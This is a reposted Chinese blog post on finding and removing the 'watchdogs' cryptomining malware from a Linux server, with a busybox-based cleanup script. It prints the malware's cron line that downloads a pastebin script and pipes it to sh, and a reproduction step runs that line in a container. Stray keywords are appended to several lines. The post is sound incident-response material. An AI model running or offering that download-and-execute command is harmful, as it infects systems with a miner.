轉自 http://www.javashuo.com/article/p-wgoumrxf-eh.html
最近打開服務變得很慢,而後 CPU,內存佔用有達到了100%,打開網站都很慢,這個確定很反常的,平時cpu不會達到那麼高,所以netstat -ntlp 準備看看端口占用是否是有什麼異常,有的會看到cpu暫用狀況,有的不會顯示,由於木馬屏蔽掉了相關的命令。
好了,不死心。而後我看下定時任務,crontab -l
emmmm,ios
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
這個任務我記得我沒有添加定時任務啊,還15分鐘執行一次,個人天。
而後我就打算刪掉這個定時任務,不管是 crontab -r 仍是執行修改定時任務配置文件,都沒法刪掉這個定時任務redis
而後網上查下。docker
en,想起前兩天jenkins 升級了軟件,後來就很卡了系統。centos
因感染病毒後, ls等系統命令會被劫持, 須要busybox替代這些系統命令, 下面提供從busybox官方docker鏡像中提取的靜態編譯版busybox過程.tomcat
docker run --rm -itv /tmp/:/tmp busybox:uclibc
cp /bin/busybox /tmp
exit
宿主機即獲取到: /tmp/busybox服務器
復現感染過程(docker環境被root感染模式)
docker與虛擬機環境有區別, 病毒行爲會受限ssh
docker run --rm -it -v /tmp:/tmp centos:latest
yum install -y crontabs lsof e2fsprogs
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
busybox top, busybox ps -ef
此busybox爲靜態編譯版, 不依賴so庫, 系統的ls等命令已被經過so庫的preload機制被病毒劫持, ls會致使/etc/cron.d/root文件被刷寫爲病毒定時執行命令.curl
發現比系統命令多兩個進程(進程個數跟cpu核數有關), 耗盡了全部cpu資源post
/tmp/ksoftirqds
/tmp/watchdogs
查殺過程(系統命令已不可信, 操做優先採用busybox)網站
systemctl stop crond
chmod +x busybox && mv busybox /sbin/
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
busybox rm -rf /etc/cron.d/*
busybox ls /etc/cron.daily
busybox ls /etc/cron.hourly
busybox ls /etc/cron.monthly
busybox ls /etc/cron.weekly
/busybox rm /sbin/watchdogs
/busybox rm /usr/sbin/watchdogs
/busybox rm /etc/init.d/watchdogs
busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
busybox pkill watchdogs
busybox pkill ksoftirqds
刪除被preload的so庫
busybox rm /usr/local/lib/libioset.so
busybox rm /etc/ld.so.preload
busybox rm /etc/ld.so.cache
驗證libioset.so被卸載
lsof |grep usr/local/lib/libioset.so
無輸出, 則該動態連接庫被卸載, 直接執行驗證步驟;
有輸出, kill掉佔用的進程, 重複執行該步驟;
若反覆執行後沒法成功卸載該動態連接庫, 請執行服務器重啓操做.
重啓服務器
驗證步驟
busybox top # 查看系統負載
crontab -l # 查看是否還有異常任務
busybox chattr -i /etc/cron.d/root # 過一段時間查看是否有異常任務寫入
若是這種方式仍是沒清理掉
提供一份清理腳本:
service crond stop
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libioset.so
chattr -i /etc/ld.so.preload
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libioset.so
# 清理異常進程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
busybox rm -f /tmp/watchdogs
busybox rm -f /etc/cron.d/tomcat
busybox rm -f /etc/cron.d/root
busybox rm -f /var/spool/cron/root
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -f /etc/rc.d/init.d/watchdogs
busybox rm -f /usr/sbin/watchdogs
ldconfig
# 再次清理異常進程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
# 清理開機啓動項
chkconfig watchdogs off
chkconfig –del watchdogs
service crond start
echo "Done, Please reboot!"